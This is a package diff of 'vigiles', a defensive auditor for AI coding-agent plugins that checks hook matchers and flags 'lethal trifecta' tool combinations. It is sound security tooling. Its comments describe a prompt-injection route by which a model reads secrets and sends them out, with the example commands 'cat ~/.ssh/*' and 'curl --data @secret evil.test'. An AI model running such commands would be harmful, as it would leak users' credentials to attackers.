vigiles 9.1.0 → 11.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (47) hide show
  1. package/README.md +126 -112
  2. package/dist/adapters/claude-code/dialect.js +15 -0
  3. package/dist/audit-html.d.ts +15 -4
  4. package/dist/audit-html.js +15 -6
  5. package/dist/audit-report.d.ts +58 -2
  6. package/dist/audit-report.js +29 -0
  7. package/dist/audit-report.template.html +34 -24
  8. package/dist/audit-score.d.ts +19 -12
  9. package/dist/audit-score.js +79 -15
  10. package/dist/audit-serve.d.ts +109 -0
  11. package/dist/audit-serve.js +257 -0
  12. package/dist/cli.js +435 -20
  13. package/dist/core/CLAUDE.md.spec.d.ts +3 -0
  14. package/dist/core/CLAUDE.md.spec.js +26 -0
  15. package/dist/core/compile.d.ts +5 -1
  16. package/dist/core/compile.js +19 -10
  17. package/dist/core/delegation-trifecta.d.ts +64 -0
  18. package/dist/core/delegation-trifecta.js +124 -0
  19. package/dist/core/dialect.d.ts +18 -0
  20. package/dist/core/hook-block-ineffective.d.ts +62 -0
  21. package/dist/core/hook-block-ineffective.js +153 -0
  22. package/dist/core/hook-matcher.d.ts +66 -0
  23. package/dist/core/hook-matcher.js +182 -0
  24. package/dist/core/hook-normalize.d.ts +43 -0
  25. package/dist/core/hook-normalize.js +78 -0
  26. package/dist/core/lethal-trifecta.d.ts +100 -0
  27. package/dist/core/lethal-trifecta.js +197 -0
  28. package/dist/core/plugin-dir-layout.d.ts +30 -0
  29. package/dist/core/plugin-dir-layout.js +73 -0
  30. package/dist/core/rule-meta.d.ts +82 -0
  31. package/dist/core/rule-meta.js +266 -0
  32. package/dist/core/skill-missing-fence.d.ts +47 -0
  33. package/dist/core/skill-missing-fence.js +119 -0
  34. package/dist/core/skill-resources.d.ts +27 -0
  35. package/dist/core/skill-resources.js +167 -0
  36. package/dist/core/types.d.ts +71 -0
  37. package/dist/core/validate.d.ts +1 -0
  38. package/dist/core/validate.js +26 -4
  39. package/dist/leaderboard.d.ts +1 -0
  40. package/dist/leaderboard.js +64 -15
  41. package/dist/scan-behavioral.d.ts +85 -0
  42. package/dist/scan-behavioral.js +225 -0
  43. package/dist/scan.d.ts +106 -0
  44. package/dist/scan.js +269 -53
  45. package/dist/setup-plan.d.ts +6 -3
  46. package/dist/setup-plan.js +12 -2
  47. package/package.json +1 -1
@@ -0,0 +1,182 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.hookMatcherIssues = hookMatcherIssues;
4
+ const tool_contract_js_1 = require("./tool-contract.js");
5
+ const mcp_tool_js_1 = require("./mcp-tool.js");
6
+ // ---------------------------------------------------------------------------
7
+ // Internal helpers
8
+ // ---------------------------------------------------------------------------
9
+ /**
10
+ * Whether a matcher token should be skipped for FP-safety. We ONLY inspect
11
+ * a SINGLE bare token that could plausibly be a literal tool name or MCP
12
+ * reference. Anything with regex / glob meta-characters, alternation, a
13
+ * trailing glob wildcard alone, or an empty string is a pattern — skip it.
14
+ *
15
+ * Conservative by design: an unrecognized form → skip, never flag.
16
+ */
17
+ function isInspectableToken(token) {
18
+ if (token.length === 0)
19
+ return false;
20
+ // Pure wildcard forms used as "match-all" matchers.
21
+ if (token === "*" || token === ".*" || token === "**")
22
+ return false;
23
+ // Contains regex alternation — a combined matcher, not a single tool name.
24
+ if (token.includes("|"))
25
+ return false;
26
+ // Contains a parenthesised group `(…)` — regex, not a tool name.
27
+ if (token.includes("(") || token.includes(")"))
28
+ return false;
29
+ // Contains a `[` — character class; skip.
30
+ if (token.includes("["))
31
+ return false;
32
+ // A leading `^` or trailing `$` — anchored regex.
33
+ if (token.startsWith("^") || token.endsWith("$"))
34
+ return false;
35
+ // Leading `.*` — regex prefix; always a pattern.
36
+ if (token.startsWith(".*"))
37
+ return false;
38
+ // A trailing `.*`/`*` is a glob/regex suffix on a plain TOOL matcher (`Bash.*`,
39
+ // `Read*`) → skip. But for an MCP-ish token the trailing wildcard is EXACTLY
40
+ // what we must inspect: `mcp__server__.*` is the legitimate match-all-tools
41
+ // form, and `mcp_memory_*` is the classic single-underscore typo we want to
42
+ // catch — so do NOT skip a wildcard suffix on an `mcp`-ish token.
43
+ if (!looksMcpIsh(token) && (token.endsWith(".*") || token.endsWith("*")))
44
+ return false;
45
+ return true;
46
+ }
47
+ /**
48
+ * A token starts with `mcp` (case-insensitive) and contains at least one
49
+ * `_` (making it look like an MCP tool reference, not a harness built-in).
50
+ */
51
+ function looksMcpIsh(token) {
52
+ return /^mcp[_-]/i.test(token);
53
+ }
54
+ /**
55
+ * Whether `token` matches the canonical `mcp__<server>__<rest>` double-
56
+ * underscore shape (the valid MCP matcher form). We use the dialect's own
57
+ * `mcpToolPattern` extended to allow trailing `.*` for wildcard matchers,
58
+ * since a hook `matcher` may be `mcp__server__.*` (match-all-tools-on-server).
59
+ */
60
+ function isValidMcpForm(token, dialect) {
61
+ // The canonical pattern from the dialect: `mcp__server__tool`.
62
+ if (dialect.mcpToolPattern.test(token))
63
+ return true;
64
+ // Also allow the wildcard suffix form `mcp__server__.*`.
65
+ if (/^mcp__[a-z0-9_-]+__\.\*$/i.test(token))
66
+ return true;
67
+ return false;
68
+ }
69
+ /**
70
+ * Attempt to recover the server segment from a malformed MCP token so we can
71
+ * suggest the corrected `mcp__<server>__.*` form. Returns null when no
72
+ * segment can be confidently recovered.
73
+ *
74
+ * Handles:
75
+ * - Single-underscore: `mcp_memory_search` → server=`memory`, tool=`search`
76
+ * - Hyphenated: `mcp-memory-search` → server=`memory`, tool=`search`
77
+ * - Glob suffix: `mcp_memory_*` → server=`memory`
78
+ * - Mixed: `mcp__memory_*` → only one `__` segment found
79
+ */
80
+ function recoverMcpServer(token) {
81
+ // Strip a leading `mcp` and then a separator (`__`, `_`, `-`).
82
+ const rest = token.replace(/^mcp(?:__|_|-)/i, "");
83
+ if (!rest || rest === token)
84
+ return null;
85
+ // Split on single underscores or hyphens (not `__`) to get the next segment.
86
+ // We want the first non-empty segment after the `mcp` prefix separator.
87
+ const segments = rest.split(/(?<!_)_(?!_)|(?<!-)(?:-(?!-))/);
88
+ const server = segments[0];
89
+ if (!server || server.length === 0)
90
+ return null;
91
+ // Reject segments that are clearly numeric-only or single chars (too ambiguous).
92
+ if (/^\d+$/.test(server))
93
+ return null;
94
+ return server;
95
+ }
96
+ // ---------------------------------------------------------------------------
97
+ // Public detector
98
+ // ---------------------------------------------------------------------------
99
+ /**
100
+ * Verify hook-matcher strings for the three forms that silently never fire.
101
+ * Returns one {@link HookMatcherFinding} per offending entry. De-duplicates
102
+ * repeated matchers. Returns `[]` when all matchers are FP-safe to skip or
103
+ * are correct.
104
+ */
105
+ function hookMatcherIssues(entries, declaredServers, dialect) {
106
+ const findings = [];
107
+ const seen = new Set();
108
+ for (const { matcher } of entries) {
109
+ // De-dupe repeated matchers across entries.
110
+ if (seen.has(matcher))
111
+ continue;
112
+ seen.add(matcher);
113
+ // Skip wildcards, alternation, regex patterns — FP-safety.
114
+ if (!isInspectableToken(matcher))
115
+ continue;
116
+ // ── kind: mcp-form ──────────────────────────────────────────────────────
117
+ // The token looks MCP-ish but is NOT the valid double-underscore form.
118
+ if (looksMcpIsh(matcher)) {
119
+ if (!isValidMcpForm(matcher, dialect)) {
120
+ const server = recoverMcpServer(matcher);
121
+ const suggestion = server ? `mcp__${server}__.*` : undefined;
122
+ const hintPart = suggestion !== undefined
123
+ ? ` Did you mean "${suggestion}"?`
124
+ : " Use the form `mcp__<server>__<tool>` (double underscores).";
125
+ findings.push({
126
+ matcher,
127
+ kind: "mcp-form",
128
+ ...(suggestion !== undefined ? { suggestion } : {}),
129
+ message: `Hook matcher "${matcher}" is not a valid MCP tool reference (requires double underscores: \`mcp__server__tool\`).${hintPart}`,
130
+ });
131
+ continue;
132
+ }
133
+ // ── kind: mcp-undeclared ──────────────────────────────────────────────
134
+ // A correctly-formed MCP token whose server isn't in the declared set.
135
+ // Guard 1: no declared set → skip (reaches global/project servers).
136
+ if (declaredServers.length === 0)
137
+ continue;
138
+ // `mcpToolServer` reads the `mcp__server__tool` form; a server-wide WILDCARD
139
+ // matcher (`mcp__server__.*`) isn't a concrete tool, so fall back to the
140
+ // wildcard server segment so an undeclared server is still caught.
141
+ const server = (0, mcp_tool_js_1.mcpToolServer)(matcher, dialect) ??
142
+ /^mcp__([a-z0-9_-]+)__\.\*$/i.exec(matcher)?.[1] ??
143
+ null;
144
+ if (server === null)
145
+ continue; // plugin-namespaced form → guard 3, skip
146
+ // The plugin-namespaced `mcp__plugin_<plugin>_<server>__` form is the
147
+ // plugin's OWN server — never an undeclared reference (mirrors mcpToolServer).
148
+ if (/^plugin_/i.test(server))
149
+ continue;
150
+ const known = new Set([
151
+ ...declaredServers,
152
+ ...(dialect.knownMcpServers ?? []),
153
+ ]);
154
+ // Guard 2: built-in server → skip.
155
+ if (known.has(server))
156
+ continue;
157
+ findings.push({
158
+ matcher,
159
+ kind: "mcp-undeclared",
160
+ message: `Hook matcher "${matcher}" references MCP server "${server}", which the plugin doesn't declare (declared: ${declaredServers.join(", ")}) — the hook can't fire.`,
161
+ });
162
+ continue;
163
+ }
164
+ // ── kind: tool-typo ─────────────────────────────────────────────────────
165
+ // A bare token that is NOT an exact built-in tool but IS a close typo of one.
166
+ const knownTools = new Set(dialect.builtinAgentTools);
167
+ if (knownTools.has(matcher))
168
+ continue; // exact match → no issue
169
+ // Reuse the same ≤ 2 edit-distance helper from tool-contract.ts.
170
+ const near = (0, tool_contract_js_1.closestTool)(matcher, dialect);
171
+ if (near === null)
172
+ continue; // far/unknown → likely a plugin tool, not a typo
173
+ findings.push({
174
+ matcher,
175
+ kind: "tool-typo",
176
+ suggestion: near,
177
+ message: `Hook matcher "${matcher}" doesn't match any built-in tool — the hook silently never fires. Did you mean "${near}"?`,
178
+ });
179
+ }
180
+ return findings;
181
+ }
182
+ //# sourceMappingURL=hook-matcher.js.map
@@ -0,0 +1,43 @@
1
+ /**
2
+ * vigiles — hook settings normalization (the typed boundary for shipped hooks).
3
+ *
4
+ * A repo's hooks ship as raw, untrusted, parsed JSON/TOML — `unknown` at the
5
+ * loader edge (`LoadedPlugin.settings.hooks`). Rather than have every detector
6
+ * re-walk that `unknown` with inline casts (parse-don't-validate violated N
7
+ * times), this parses it ONCE at the boundary into a typed, flattened
8
+ * `HookRegistration[]` that the walkers consume.
9
+ *
10
+ * HARNESS-AGNOSTIC BY TOLERANCE, NOT BY A PORT. Two shipping shapes exist:
11
+ * - Claude Code (JSON): `{ Event: [{ matcher, hooks: [{ command }] }] }`
12
+ * - Codex (TOML): `{ Event: [{ command }] }` (`[[hooks.Event]] command=…`)
13
+ * A single tolerant reader absorbs both — a missing `hooks` array means the
14
+ * entry itself is the lone command holder. The difference is small enough that
15
+ * one parser covers it, so we deliberately DON'T add a per-harness port for it
16
+ * (rule-of-three / YAGNI: design the neutral shape first, defer the abstraction
17
+ * until a harness needs a genuinely divergent shape). If one ever does, this is
18
+ * the single seam to lift behind the layout/dialect.
19
+ *
20
+ * Pure + fully testable (no IO); the script resolution that turns a `command`
21
+ * into an on-disk path stays in the caller (it needs the plugin root + fs).
22
+ */
23
+ /**
24
+ * One flattened hook registration: a single command bound to an event, with its
25
+ * optional matcher. The neutral form every hook detector reads — CC-nested and
26
+ * Codex-flat both collapse to this.
27
+ */
28
+ export interface HookRegistration {
29
+ /** The event the hook registers under, e.g. `"PreToolUse"`. */
30
+ readonly event: string;
31
+ /** The tool/path matcher, or `null` when the entry declares none. */
32
+ readonly matcher: string | null;
33
+ /** The shell command the hook runs (non-empty). */
34
+ readonly command: string;
35
+ }
36
+ /**
37
+ * Parse the raw `settings.hooks` value into typed registrations. Returns `[]`
38
+ * for any non-object / malformed input — never throws.
39
+ */
40
+ export declare function normalizeHooks(raw: unknown): HookRegistration[];
41
+ /** Distinct event names present in the raw hooks object (object-keyed shape). */
42
+ export declare function hookEventNames(raw: unknown): string[];
43
+ //# sourceMappingURL=hook-normalize.d.ts.map
@@ -0,0 +1,78 @@
1
+ "use strict";
2
+ /**
3
+ * vigiles — hook settings normalization (the typed boundary for shipped hooks).
4
+ *
5
+ * A repo's hooks ship as raw, untrusted, parsed JSON/TOML — `unknown` at the
6
+ * loader edge (`LoadedPlugin.settings.hooks`). Rather than have every detector
7
+ * re-walk that `unknown` with inline casts (parse-don't-validate violated N
8
+ * times), this parses it ONCE at the boundary into a typed, flattened
9
+ * `HookRegistration[]` that the walkers consume.
10
+ *
11
+ * HARNESS-AGNOSTIC BY TOLERANCE, NOT BY A PORT. Two shipping shapes exist:
12
+ * - Claude Code (JSON): `{ Event: [{ matcher, hooks: [{ command }] }] }`
13
+ * - Codex (TOML): `{ Event: [{ command }] }` (`[[hooks.Event]] command=…`)
14
+ * A single tolerant reader absorbs both — a missing `hooks` array means the
15
+ * entry itself is the lone command holder. The difference is small enough that
16
+ * one parser covers it, so we deliberately DON'T add a per-harness port for it
17
+ * (rule-of-three / YAGNI: design the neutral shape first, defer the abstraction
18
+ * until a harness needs a genuinely divergent shape). If one ever does, this is
19
+ * the single seam to lift behind the layout/dialect.
20
+ *
21
+ * Pure + fully testable (no IO); the script resolution that turns a `command`
22
+ * into an on-disk path stays in the caller (it needs the plugin root + fs).
23
+ */
24
+ Object.defineProperty(exports, "__esModule", { value: true });
25
+ exports.normalizeHooks = normalizeHooks;
26
+ exports.hookEventNames = hookEventNames;
27
+ /** True for a non-null, non-array object. */
28
+ function isRecord(v) {
29
+ return v !== null && typeof v === "object" && !Array.isArray(v);
30
+ }
31
+ /** The string `matcher` of an entry, or `null` when absent/empty. */
32
+ function entryMatcher(entry) {
33
+ const m = entry.matcher;
34
+ return typeof m === "string" && m.length > 0 ? m : null;
35
+ }
36
+ /**
37
+ * Flatten ONE `{ event: [...] }` group's entry into registrations. Tolerant of
38
+ * both shapes: a Claude Code entry nests `hooks: [{command}]`; a Codex flat
39
+ * entry IS the command holder (no `hooks` array), so the entry stands in for it.
40
+ */
41
+ function flattenEntry(event, entry) {
42
+ if (!isRecord(entry))
43
+ return [];
44
+ const matcher = entryMatcher(entry);
45
+ const nested = entry.hooks;
46
+ const holders = Array.isArray(nested) ? nested : [entry];
47
+ const out = [];
48
+ for (const h of holders) {
49
+ if (!isRecord(h))
50
+ continue;
51
+ const command = h.command;
52
+ if (typeof command !== "string" || command.length === 0)
53
+ continue;
54
+ out.push({ event, matcher, command });
55
+ }
56
+ return out;
57
+ }
58
+ /**
59
+ * Parse the raw `settings.hooks` value into typed registrations. Returns `[]`
60
+ * for any non-object / malformed input — never throws.
61
+ */
62
+ function normalizeHooks(raw) {
63
+ if (!isRecord(raw))
64
+ return [];
65
+ const out = [];
66
+ for (const [event, arr] of Object.entries(raw)) {
67
+ if (!Array.isArray(arr))
68
+ continue;
69
+ for (const entry of arr)
70
+ out.push(...flattenEntry(event, entry));
71
+ }
72
+ return out;
73
+ }
74
+ /** Distinct event names present in the raw hooks object (object-keyed shape). */
75
+ function hookEventNames(raw) {
76
+ return isRecord(raw) ? Object.keys(raw) : [];
77
+ }
78
+ //# sourceMappingURL=hook-normalize.js.map
@@ -0,0 +1,100 @@
1
+ /**
2
+ * The LETHAL-TRIFECTA check — the headline Safety detector. Simon Willison's
3
+ * "lethal trifecta": a single unit (a subagent / model-invocable skill) that
4
+ * simultaneously holds all THREE capability legs is a prompt-injection
5
+ * exfiltration path with NO exploit code — attacker-controllable content flows
6
+ * in, reads your private data, and ships it out, all driven by the model.
7
+ *
8
+ * LEG A — PRIVATE-DATA READ — can read local secrets / files / repo
9
+ * (Read, mcp__filesystem__*, github get_file,
10
+ * and `Bash`, which can `cat ~/.ssh/*` / `.env`).
11
+ * LEG B — UNTRUSTED-CONTENT INTAKE — ingests attacker-controllable content
12
+ * (WebFetch, WebSearch, mcp__fetch__*, MCP
13
+ * servers reading issues / email / tickets).
14
+ * LEG C — EXFILTRATION CHANNEL — can send data out (WebFetch, computer_use,
15
+ * github create_pull_request / add_issue_comment,
16
+ * any external-write MCP, and `Bash`, which can
17
+ * `curl`/`wget` to anywhere).
18
+ *
19
+ * Meta's "Rule of Two": allow at most two of the three legs in one unit. A unit
20
+ * holding all three is the hard finding. NO other tool checks the tool-SET for
21
+ * this — every competitor lints a single tool's effect, never the dangerous
22
+ * COMBINATION.
23
+ *
24
+ * `Bash` is special: it satisfies BOTH leg A (read a secret) AND leg C (curl it
25
+ * out). So `Bash` + any leg-B tool (e.g. `WebFetch`) is already all three legs.
26
+ *
27
+ * HIGH-PRECISION (don't-cry-wolf): only WELL-KNOWN tools map to a leg; an
28
+ * unknown tool maps to nothing. A `Tool(restriction)` suffix is stripped with the
29
+ * same `baseTool` shape `effects.ts` uses.
30
+ *
31
+ * INHERITS-ALL: a unit with no `tools:` line inherits ALL tools — maximal blast
32
+ * radius, trivially all three legs. Aligned with the codebase's existing
33
+ * "inherits-all is ADVISORY" stance (compile/scan treat a missing contract as a
34
+ * footgun note, not a hard defect), an inherits-all trifecta is reported as
35
+ * `"advisory"`; an EXPLICIT all-three contract is the `"hard"` flag.
36
+ *
37
+ * Pure + ONE detector (one-detector-no-drift) — intended to be reused by `scan`
38
+ * (the read-only audit) and a future `lethal-trifecta` lint rule. The dialect is
39
+ * injected (core ⊄ adapter) so it generalizes across harnesses (Codex's `shell`
40
+ * plays Bash's dual A+C role — see `LEG_BASH_DUAL` below). The per-leg catalogs
41
+ * are LOCAL consts here because the `HarnessDialect` interface has no trifecta-leg
42
+ * fields today; see the "Recommended dialect additions" note at the bottom.
43
+ */
44
+ import type { HarnessDialect } from "./dialect.js";
45
+ /** The three capability legs of the lethal trifecta. */
46
+ export type TrifectaLeg = "private" | "untrusted" | "exfil";
47
+ /** The tools classified into each leg (base names, de-duplicated). */
48
+ export interface TrifectaLegs {
49
+ /** LEG A — tools that can read private data (secrets, files, repo). */
50
+ readonly private: readonly string[];
51
+ /** LEG B — tools that ingest untrusted / attacker-controllable content. */
52
+ readonly untrusted: readonly string[];
53
+ /** LEG C — tools that can exfiltrate data out of the trust boundary. */
54
+ readonly exfil: readonly string[];
55
+ }
56
+ /**
57
+ * The severity of a trifecta finding:
58
+ * - `"hard"`: an EXPLICIT contract that names all three legs — a concrete,
59
+ * declared exfil path. The flag.
60
+ * - `"advisory"`: an inherits-all unit (no `tools:` line) that holds all three
61
+ * legs only because it inherits everything — maximal blast radius,
62
+ * reported as advisory in line with the inherits-all stance.
63
+ */
64
+ export type TrifectaSeverity = "hard" | "advisory";
65
+ /**
66
+ * A lethal-trifecta finding — emitted ONLY when all three legs are non-empty (or,
67
+ * for the inherits-all case, when the contract inherits all tools). The `legs`
68
+ * field names the specific tools that supplied each leg, so the report can show
69
+ * exactly which capabilities to drop to break the trifecta.
70
+ */
71
+ export interface TrifectaFinding {
72
+ readonly severity: TrifectaSeverity;
73
+ /** The tools that supplied each leg (advisory inherits-all carries the wildcard). */
74
+ readonly legs: TrifectaLegs;
75
+ /** A ready-to-show, actionable message. */
76
+ readonly message: string;
77
+ }
78
+ /**
79
+ * Classify each tool in a declared contract into the trifecta legs it supplies.
80
+ * A single tool may land in MULTIPLE legs (`Bash` → A+C, `WebFetch` → B+C). An
81
+ * unknown tool lands in none (high-precision). De-duplicated per leg.
82
+ *
83
+ * NOTE on inherits-all: a wildcard (`""`/`"*"`) entry is NOT classified into a
84
+ * named leg here (it has no concrete tool name); the inherits-all case is handled
85
+ * by {@link lethalTrifectaIssues}, which knows it grants every leg.
86
+ */
87
+ export declare function classifyTrifectaLegs(tools: readonly string[], dialect: HarnessDialect): TrifectaLegs;
88
+ /**
89
+ * Returns a {@link TrifectaFinding} ONLY when a unit holds all three legs, else
90
+ * `null` (≤ 2 legs = safe by the Rule of Two).
91
+ *
92
+ * Two paths:
93
+ * - INHERITS-ALL (a wildcard `""`/`"*"`, or an EMPTY contract): inherits every
94
+ * tool → trivially all three legs → an `"advisory"` finding (the inherits-all
95
+ * stance: a footgun worth surfacing, not a declared exfil path).
96
+ * - EXPLICIT: classify the named tools; emit a `"hard"` finding iff each of the
97
+ * three legs is non-empty.
98
+ */
99
+ export declare function lethalTrifectaIssues(tools: readonly string[], dialect: HarnessDialect): TrifectaFinding | null;
100
+ //# sourceMappingURL=lethal-trifecta.d.ts.map
@@ -0,0 +1,197 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.classifyTrifectaLegs = classifyTrifectaLegs;
4
+ exports.lethalTrifectaIssues = lethalTrifectaIssues;
5
+ // ---------------------------------------------------------------------------
6
+ // Per-leg tool catalogs (LOCAL — the dialect has no trifecta-leg fields yet).
7
+ //
8
+ // HIGH-PRECISION by construction: only well-known, high-signal tools appear.
9
+ // Exact built-in names; MCP tools are matched by a `server`/`tool` substring
10
+ // heuristic (well-known servers/verbs only) so a bare unknown `mcp__*` maps to
11
+ // nothing rather than crying wolf.
12
+ // ---------------------------------------------------------------------------
13
+ /**
14
+ * The dual-role tool: it satisfies BOTH leg A (read a secret: `cat ~/.ssh/*`)
15
+ * AND leg C (exfiltrate: `curl --data @secret evil.test`). Listed once here and
16
+ * fanned into both buckets. Claude Code names it `Bash`; the dialect's
17
+ * `sideEffectingTools` is the seam a future harness's shell name plugs into, but
18
+ * since no dialect field enumerates "the shell tool" we match the known names.
19
+ */
20
+ const LEG_BASH_DUAL = new Set(["Bash", "shell"]);
21
+ /** LEG A — built-in tools that can read private data. */
22
+ const PRIVATE_BUILTINS = new Set(["Read"]);
23
+ /** LEG B — built-in tools that ingest untrusted content. */
24
+ const UNTRUSTED_BUILTINS = new Set(["WebFetch", "WebSearch"]);
25
+ /**
26
+ * LEG C — built-in tools that can exfiltrate. `WebFetch` is dual (it can POST a
27
+ * body out AND fetch untrusted content in), so it appears in BOTH leg B and leg C.
28
+ */
29
+ const EXFIL_BUILTINS = new Set(["WebFetch", "computer_use", "ComputerUse"]);
30
+ /**
31
+ * Well-known MCP SERVER substrings per leg. An `mcp__<server>__<tool>` reference
32
+ * is classified by its server segment when the server is a recognized one. Kept
33
+ * deliberately small + high-signal.
34
+ */
35
+ const PRIVATE_MCP_SERVERS = ["filesystem", "file", "git", "github", "memory"];
36
+ const UNTRUSTED_MCP_SERVERS = [
37
+ "fetch",
38
+ "web",
39
+ "browser",
40
+ "puppeteer",
41
+ "playwright",
42
+ ];
43
+ const EXFIL_MCP_SERVERS = ["slack", "email", "gmail", "smtp", "discord"];
44
+ /**
45
+ * Well-known MCP TOOL-name substrings per leg — finer than the server alone (a
46
+ * `github` server is leg A via `get_file_contents` but leg C via
47
+ * `create_pull_request`). Matched against the tool segment after the server.
48
+ */
49
+ const PRIVATE_MCP_TOOLS = ["get_file", "read", "search_code", "get_contents"];
50
+ const UNTRUSTED_MCP_TOOLS = [
51
+ "fetch",
52
+ "list_issues",
53
+ "get_issue",
54
+ "issue_read",
55
+ "search_issues",
56
+ ];
57
+ const EXFIL_MCP_TOOLS = [
58
+ "create_pull_request",
59
+ "add_issue_comment",
60
+ "issue_write",
61
+ "create_or_update_file",
62
+ "push_files",
63
+ "send",
64
+ "post",
65
+ "create_issue",
66
+ ];
67
+ // ---------------------------------------------------------------------------
68
+ // Internal helpers
69
+ // ---------------------------------------------------------------------------
70
+ /** Strips a `Tool(restriction)` suffix and returns the base tool name. */
71
+ function baseTool(raw) {
72
+ return raw.split("(")[0].trim();
73
+ }
74
+ /** Returns true for the wildcard sentinels that mean "inherits-all". */
75
+ function isWildcard(tool) {
76
+ return tool === "" || tool === "*";
77
+ }
78
+ /**
79
+ * Split an MCP grant into `{ server, tool }`, or null. Handles three forms:
80
+ * - a concrete `mcp__<server>__<tool>` (tool = the named tool);
81
+ * - a SERVER-WIDE grant `mcp__<server>` or `mcp__<server>__*` / `__.*` (tool = ""
82
+ * → classify by the SERVER alone, since it grants every tool on that server).
83
+ * Without the server-wide case a contract like `mcp__slack__*` would grant an
84
+ * exfil-capable server yet contribute no leg (reported clean when it isn't).
85
+ */
86
+ function mcpParts(base, dialect) {
87
+ if (dialect.mcpToolPattern.test(base)) {
88
+ const m = /^mcp__([^_]+(?:_[^_]+)*?)__(.+)$/.exec(base);
89
+ if (m)
90
+ return { server: m[1].toLowerCase(), tool: m[2].toLowerCase() };
91
+ }
92
+ // Server-wide: `mcp__server`, `mcp__server__*`, `mcp__server__.*`.
93
+ const sw = /^mcp__([a-z0-9-]+(?:_[a-z0-9-]+)*?)(?:__(?:\*|\.\*))?$/i.exec(base);
94
+ if (sw)
95
+ return { server: sw[1].toLowerCase(), tool: "" };
96
+ return null;
97
+ }
98
+ function anySubstr(haystack, needles) {
99
+ return needles.some((n) => haystack.includes(n));
100
+ }
101
+ // ---------------------------------------------------------------------------
102
+ // Public API
103
+ // ---------------------------------------------------------------------------
104
+ /**
105
+ * Classify each tool in a declared contract into the trifecta legs it supplies.
106
+ * A single tool may land in MULTIPLE legs (`Bash` → A+C, `WebFetch` → B+C). An
107
+ * unknown tool lands in none (high-precision). De-duplicated per leg.
108
+ *
109
+ * NOTE on inherits-all: a wildcard (`""`/`"*"`) entry is NOT classified into a
110
+ * named leg here (it has no concrete tool name); the inherits-all case is handled
111
+ * by {@link lethalTrifectaIssues}, which knows it grants every leg.
112
+ */
113
+ function classifyTrifectaLegs(tools, dialect) {
114
+ const priv = new Set();
115
+ const untrusted = new Set();
116
+ const exfil = new Set();
117
+ for (const raw of tools) {
118
+ const base = baseTool(raw);
119
+ if (isWildcard(base))
120
+ continue; // handled by the issues fn, not a named leg
121
+ // Dual-role shell: leg A AND leg C.
122
+ if (LEG_BASH_DUAL.has(base)) {
123
+ priv.add(base);
124
+ exfil.add(base);
125
+ continue;
126
+ }
127
+ if (PRIVATE_BUILTINS.has(base))
128
+ priv.add(base);
129
+ if (UNTRUSTED_BUILTINS.has(base))
130
+ untrusted.add(base);
131
+ if (EXFIL_BUILTINS.has(base))
132
+ exfil.add(base);
133
+ const parts = mcpParts(base, dialect);
134
+ if (parts) {
135
+ const { server, tool } = parts;
136
+ if (anySubstr(server, PRIVATE_MCP_SERVERS) ||
137
+ anySubstr(tool, PRIVATE_MCP_TOOLS))
138
+ priv.add(base);
139
+ if (anySubstr(server, UNTRUSTED_MCP_SERVERS) ||
140
+ anySubstr(tool, UNTRUSTED_MCP_TOOLS))
141
+ untrusted.add(base);
142
+ if (anySubstr(server, EXFIL_MCP_SERVERS) ||
143
+ anySubstr(tool, EXFIL_MCP_TOOLS))
144
+ exfil.add(base);
145
+ }
146
+ }
147
+ return { private: [...priv], untrusted: [...untrusted], exfil: [...exfil] };
148
+ }
149
+ /**
150
+ * Returns a {@link TrifectaFinding} ONLY when a unit holds all three legs, else
151
+ * `null` (≤ 2 legs = safe by the Rule of Two).
152
+ *
153
+ * Two paths:
154
+ * - INHERITS-ALL (a wildcard `""`/`"*"`, or an EMPTY contract): inherits every
155
+ * tool → trivially all three legs → an `"advisory"` finding (the inherits-all
156
+ * stance: a footgun worth surfacing, not a declared exfil path).
157
+ * - EXPLICIT: classify the named tools; emit a `"hard"` finding iff each of the
158
+ * three legs is non-empty.
159
+ */
160
+ function lethalTrifectaIssues(tools, dialect) {
161
+ const hasWildcard = tools.some((t) => isWildcard(baseTool(t)));
162
+ // Inherits-all is signalled by a WILDCARD (the caller passes `["*"]` for an
163
+ // absent `tools:` line). An EXPLICIT empty `[]` is the opposite — zero tools,
164
+ // so it cannot hold any leg; it falls through to classify as no-trifecta. (The
165
+ // caller must distinguish: `tools ?? ["*"]`, never `tools ?? []`.)
166
+ if (hasWildcard) {
167
+ const legs = {
168
+ private: ["*"],
169
+ untrusted: ["*"],
170
+ exfil: ["*"],
171
+ };
172
+ return {
173
+ severity: "advisory",
174
+ legs,
175
+ message: "Inherits-all contract (no explicit tools / wildcard) grants every capability — " +
176
+ "it holds all three lethal-trifecta legs (read private data, ingest untrusted content, " +
177
+ "exfiltrate) and is a maximal prompt-injection blast radius. Declare an explicit tools " +
178
+ "list dropping at least one leg (Meta's Rule of Two).",
179
+ };
180
+ }
181
+ const legs = classifyTrifectaLegs(tools, dialect);
182
+ if (legs.private.length > 0 &&
183
+ legs.untrusted.length > 0 &&
184
+ legs.exfil.length > 0) {
185
+ return {
186
+ severity: "hard",
187
+ legs,
188
+ message: "Lethal trifecta: this unit can read private data " +
189
+ `(${legs.private.join(", ")}), ingest untrusted content ` +
190
+ `(${legs.untrusted.join(", ")}), AND exfiltrate ` +
191
+ `(${legs.exfil.join(", ")}) — a prompt-injection exfil path with no exploit code. ` +
192
+ "Drop at least one leg (Meta's Rule of Two: allow at most two).",
193
+ };
194
+ }
195
+ return null;
196
+ }
197
+ //# sourceMappingURL=lethal-trifecta.js.map
@@ -0,0 +1,30 @@
1
+ /** A functional surface directory found nested inside the manifest directory. */
2
+ export interface PluginLayoutFinding {
3
+ /** The misplaced surface directory name (e.g. `"skills"`). */
4
+ readonly dir: string;
5
+ /** Human-readable explanation + fix. */
6
+ readonly message: string;
7
+ }
8
+ export interface PluginLayoutOptions {
9
+ /** Injectable: does this path exist? (default: node:fs existsSync) */
10
+ readonly existsSync?: (p: string) => boolean;
11
+ /**
12
+ * Injectable: is this path a directory? (default: node:fs
13
+ * statSync(p).isDirectory(), returning false on any throw)
14
+ */
15
+ readonly isDirectory?: (p: string) => boolean;
16
+ }
17
+ /**
18
+ * Surface directories found nested INSIDE the manifest directory, where they are
19
+ * invisible to the harness.
20
+ *
21
+ * `manifestDir` is the absolute path to the manifest directory (e.g. the repo's
22
+ * `.claude-plugin/`). `surfaceDirNames` are the harness's functional surface
23
+ * directory names, injected from the layout (e.g. `["skills","agents","commands",
24
